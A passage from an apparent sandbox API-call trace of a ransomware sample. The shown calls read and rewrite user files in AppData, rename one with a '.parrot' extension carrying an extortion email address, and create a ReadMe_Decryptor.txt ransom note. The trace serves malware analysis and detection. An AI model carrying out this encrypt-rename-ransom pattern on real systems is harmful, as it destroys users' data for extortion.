out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0047.394] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.394] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x170bc, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x170bc, lpOverlapped=0x0) returned 1 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0047.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0047.395] GetLastError () returned 0x0 [0047.395] SetLastError (dwErrCode=0x0) [0047.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0047.395] GetLastError () returned 0x0 [0047.395] SetLastError (dwErrCode=0x0) [0047.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.395] GetLastError () returned 0x0 [0047.395] SetLastError (dwErrCode=0x0) [0047.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0047.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0047.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0047.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0047.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0047.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0047.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9df0 [0047.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0047.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28e1e30 [0047.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0047.398] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x61c990 [0047.399] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e1e30 | out: hHeap=0x540000) returned 1 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5f4c70 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0047.400] GetLastError () returned 0x0 [0047.400] SetLastError (dwErrCode=0x0) [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0047.400] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0047.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0047.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0047.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x63c9d0 [0047.401] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0047.402] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28fde30 [0047.402] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9d0 | out: hHeap=0x540000) returned 1 [0047.402] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x2900dc8 [0047.402] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0047.402] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28d9df0 [0047.402] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2900dc8 | out: hHeap=0x540000) returned 1 [0047.402] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x28fde30 [0047.402] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0047.402] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28d9df0 [0047.402] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0047.402] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x2919e10 [0047.404] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0047.404] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x21c32) returned 0x2930648 [0047.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2919e10 | out: hHeap=0x540000) returned 1 [0047.405] WriteFile (in: hFile=0x2d4, lpBuffer=0x2930660*, nNumberOfBytesToWrite=0x171d8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2930660*, lpNumberOfBytesWritten=0x18fa94*=0x171d8, lpOverlapped=0x0) returned 1 [0047.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2930648 | out: hHeap=0x540000) returned 1 [0047.406] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x171d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0047.406] CloseHandle (hObject=0x2d4) returned 1 [0047.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0047.409] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0047.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0047.409] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aS4B4wEEEQW.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\as4b4weeeqw.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aS4B4wEEEQW.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\as4b4weeeqw.mkv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0047.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0047.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0047.417] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0047.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0047.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0047.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0047.417] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0047.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0047.418] GetFileType (hFile=0x2d4) returned 0x1 [0047.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0047.678] lstrcmpW (lpString1="Bfd8_hoTp -Jb_TbDo.wav", lpString2="ReadMe_Decryptor.txt") returned -1 [0047.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Bfd8_hoTp -Jb_TbDo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bfd8_hotp -jb_tbdo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0047.678] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x10787 [0047.679] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1089f, nNumberOfBytesToLockHigh=0x0) returned 1 [0047.679] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0047.679] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0047.679] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.680] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x10787, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x10787, lpOverlapped=0x0) returned 1 [0047.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0047.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0047.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0047.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0047.680] GetLastError () returned 0x0 [0047.680] SetLastError (dwErrCode=0x0) [0047.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0047.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0047.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0047.681] GetLastError () returned 0x0 [0047.681] SetLastError (dwErrCode=0x0) [0047.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0047.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.681] GetLastError () returned 0x0 [0047.681] SetLastError (dwErrCode=0x0) [0047.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0047.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0047.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0047.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0047.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0047.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0047.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0047.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0047.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9df0 [0047.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0047.861] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28e1e30 [0047.862] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0047.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x61c990 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e1e30 | out: hHeap=0x540000) returned 1 [0047.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x7) returned 0x55bb88 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.864] GetLastError () returned 0x0 [0047.864] SetLastError (dwErrCode=0x0) [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0047.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0047.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0047.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0047.865] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0047.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0047.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0047.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0047.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0047.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0047.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0047.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x63c9d0 [0047.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28fde30 [0047.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9d0 | out: hHeap=0x540000) returned 1 [0047.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x2900dc8 [0047.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0047.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28d9df0 [0047.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2900dc8 | out: hHeap=0x540000) returned 1 [0047.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x28fde30 [0047.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0047.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28d9df0 [0047.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0047.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x2919e10 [0047.869] 